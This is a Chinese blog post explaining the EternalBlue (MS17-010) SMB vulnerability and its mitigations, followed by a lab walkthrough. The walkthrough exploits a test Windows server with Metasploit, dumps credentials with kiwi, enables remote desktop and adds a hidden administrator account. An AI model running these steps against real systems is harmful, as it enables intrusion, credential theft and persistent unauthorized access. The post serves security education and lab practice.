永恒之蓝
原文:永恒之蓝渗漏洞复现:原理详解+环境搭建+渗透实战(CVE-2017-0144) - 详解 - jzssuanfa - 博客园
一、永恒之蓝
1、漏洞简介
"永恒之蓝"(EternalBlue)是一个利用微软Windows系统SMBv1协议中MS17-010漏洞的远程代码执行攻击工具。它最初由美国国家安全局(NSA)开发,在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露,随后被用于全球性的大规模网络攻击,例如同年5月爆发的WannaCry勒索病毒事件。
| 项目 | 详细说明 |
|---|---|
| 漏洞名称 | 永恒之蓝 (EternalBlue) |
| 官方编号 | MS17-010 |
| 漏洞类型 | 远程代码执行 (Remote Code Execution) |
| 影响协议 | SMBv1 (服务器消息块协议版本 1) |
| 风险等级 | 高危 / 严重 |
| 影响范围 | Windows NT 系列操作系统,包括 Windows XP, 7, 8, Server 2003, 2008, 2012 等 |
| 利用端口 | TCP 445 |
| 核心原理 | 利用 SMBv1 协议特制请求时的缓冲区溢出漏洞,攻击者无需用户名密码即可远程控制目标 |
| 主要危害 | 1. 系统完全被控:获取系统级最高权限。 2. 蠕虫式传播:可在内网中自我复制传播。 3. 植入恶意软件:如勒索病毒、挖矿木马、后门等。 |
| 著名事件 | WannaCry 勒索病毒、NotPetya 勒索病毒 |
| 防护措施 | 1. 安装补丁:及时安装微软官方发布的 MS17-010 补丁。 2. 关闭端口:在防火墙禁用 135、139、445 端口的外部访问。 3. 升级协议:禁用老旧的 SMBv1 协议,升级至 SMBv2 或 v3。 |
2、漏洞原理
永恒之蓝的本质是一个 SMBv1 协议中的远程代码执行漏洞。
(1)漏洞根源:缓冲区溢出
漏洞存在于 Windows SMBv1 服务器的 srv.sys 内核驱动文件中。具体位置在处理 SMBv1 的 Trans2 二次请求 时。
- 正常情况:客户端请求数据时,会告知服务器缓冲区大小,服务器根据这个大小来分配和拷贝内存。
- 漏洞情况:攻击者可以在一个数据包中,谎报实际数据量(比如声称数据量很小),但实际发送的数据量却很大。由于缺乏严格的边界检查,
srv.sys会将这些过量的数据拷贝到内核中一个分配好的、但尺寸不足的缓冲区里。
(2)内核内存的越界写入
这导致了 内核级的缓冲区溢出。多余的数据会覆盖缓冲区之后的内核内存空间。这部分被覆盖的内存原本存储着其他重要的数据或代码。
(3)精妙的利用:从溢出到代码执行
单纯让系统崩溃(蓝屏)是简单的,但实现远程代码执行是复杂的。永恒之蓝的精妙之处在于它如何精准控制这一溢出过程:
- 精心构造的溢出数据:攻击者发送的数据包中,溢出部分不是随机数据,而是精心编排的:
- Shellcode:一小段用于执行最终目标的机器代码。
- 内存布局操控数据:用于引导系统执行流跳转到攻击者的 Shellcode。
- 利用内存池的可预测性:Windows 内核使用一种叫 内存池 的机制来管理内存。永恒之蓝通过多次发送特定大小的SMB数据包,来“塑造”内核内存池的布局,使其变得相对可预测。这确保了当溢出发生时,溢出数据会覆盖到一个已知且有用的位置。
- 函数指针覆盖:一种常见的技术是覆盖一个 函数指针 或 返回地址。当内核后续需要调用这个函数时,它实际上跳转到了被攻击者覆盖的地址,从而开始执行攻击者的 Shellcode。
(4)权限提升与载荷部署
- 权限:由于漏洞发生在内核层(Ring 0),成功利用后获得代码执行权限是 系统最高权限。
- 载荷:攻击者预先准备好的 Shellcode 通常会执行以下操作:
- 在目标系统上创建一个新的系统进程。
- 从攻击者的机器下载并运行真正的恶意载荷(例如:后门程序、Meterpreter 等)。
- 这个后门程序通常以最高权限运行,从而完全控制目标机器。
3、攻击链条
| 步骤 | 关键动作 | 结果 |
|---|---|---|
| 1. 侦察 | 扫描开放 445 端口的 Windows 机器。 | 发现潜在目标。 |
| 2. 触发 | 发送特殊构造的 SMBv1 Trans2 请求数据包。 | 触发 srv.sys 中的缓冲区溢出漏洞。 |
| 3. 利用 | 溢出数据覆盖内核内存,控制程序执行流。 | 跳转并执行攻击者的 Shellcode。 |
| 4. 执行 | Shellcode 以 SYSTEM 权限运行,加载最终载荷。 | 目标系统被完全控制。 |
4、受影响的操作系统
永恒之蓝(MS17-010)漏洞影响范围非常广泛,涵盖了当时几乎所有主流的 Windows 操作系统版本。以下是受影响的存在漏洞的操作系统列表,在2017年3月之前发布且未及时安装MS17-010补丁的Windows系统,几乎全部暴露在永恒之蓝漏洞的威胁之下。
| 操作系统系列 | 具体版本 |
|---|---|
| Windows NT | Windows NT 4.0 |
| Windows 2000 | 所有版本 |
| Windows XP | 所有版本(包括 x64 和 Embedded) |
| Windows Vista | 所有版本 |
| Windows Server 2003 | 所有版本(包括 R2) |
| Windows 7 | Windows 7 SP1 及之前的所有版本 |
| Windows Server 2008 | 所有版本(包括 R2,SP1 及之前) |
| Windows 8 | 所有版本 |
| Windows 8.1 | 所有版本 |
| Windows Server 2012 | 所有版本(包括 R2) |
| Windows 10 | 2017年3月之前发布的版本(包括初版、1511、1607) |
| Windows Server 2016 | 2017年3月之前发布的初始版本 |
二、实战
靶机:windows server 2008 R2 【192.168.88.141】
攻击机:kali 192.168.88.132,并将靶机防火墙关闭
一、扫描主机存活
nmap -sn 192.168.88.0/24

二、nmap探测EternalBlue漏洞
nmap --script=vuln 192.168.88.141
#运行所有与漏洞检测相关的nmap脚本
#结果显示Smb-vuln-ms17-010: VULNERABLE
注:若漏洞后面出现 NT_STATUS_ACCESS_DENIED ,即访问被拒绝,nmap在探测此漏洞时,因权限被授予目标拒绝了访问

三、渗透实战
①kali开启msfconsole
②search ms17-010,并使用模块0(exploit/windows/smb/ms17_010_eternalblue),即use 0
③Show Options配置RHOSTS = 192.168.88.141
④run,成功渗透
四、后渗透
①sysinfo显示靶机系统信息,getuid查看用户身份
②meterpreter > run post/windows/manage/enable_rdp 开启远程桌面
③抓取密码凭证:(1)load kiwi (2)creds_all

④可添加用户:shell进入目标shell
(1) net user doll 123 /add
(2) net localgroup administrators doll /add
⑤kali上rdesktop 192.168.88.141可连接靶机远程桌面
注:MSF补充
【1】show options 里面对应的Exploit target是用来指定当前漏洞利用模块所针对的目标系统类型,可以通过info来查看
这里的Automatic Target是让msf自动识别目标并攻击

【2】输入info查看配置并重新配置

set target 3即可设置为目标对应的操作系统

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20650553

浙公网安备 33010602011771号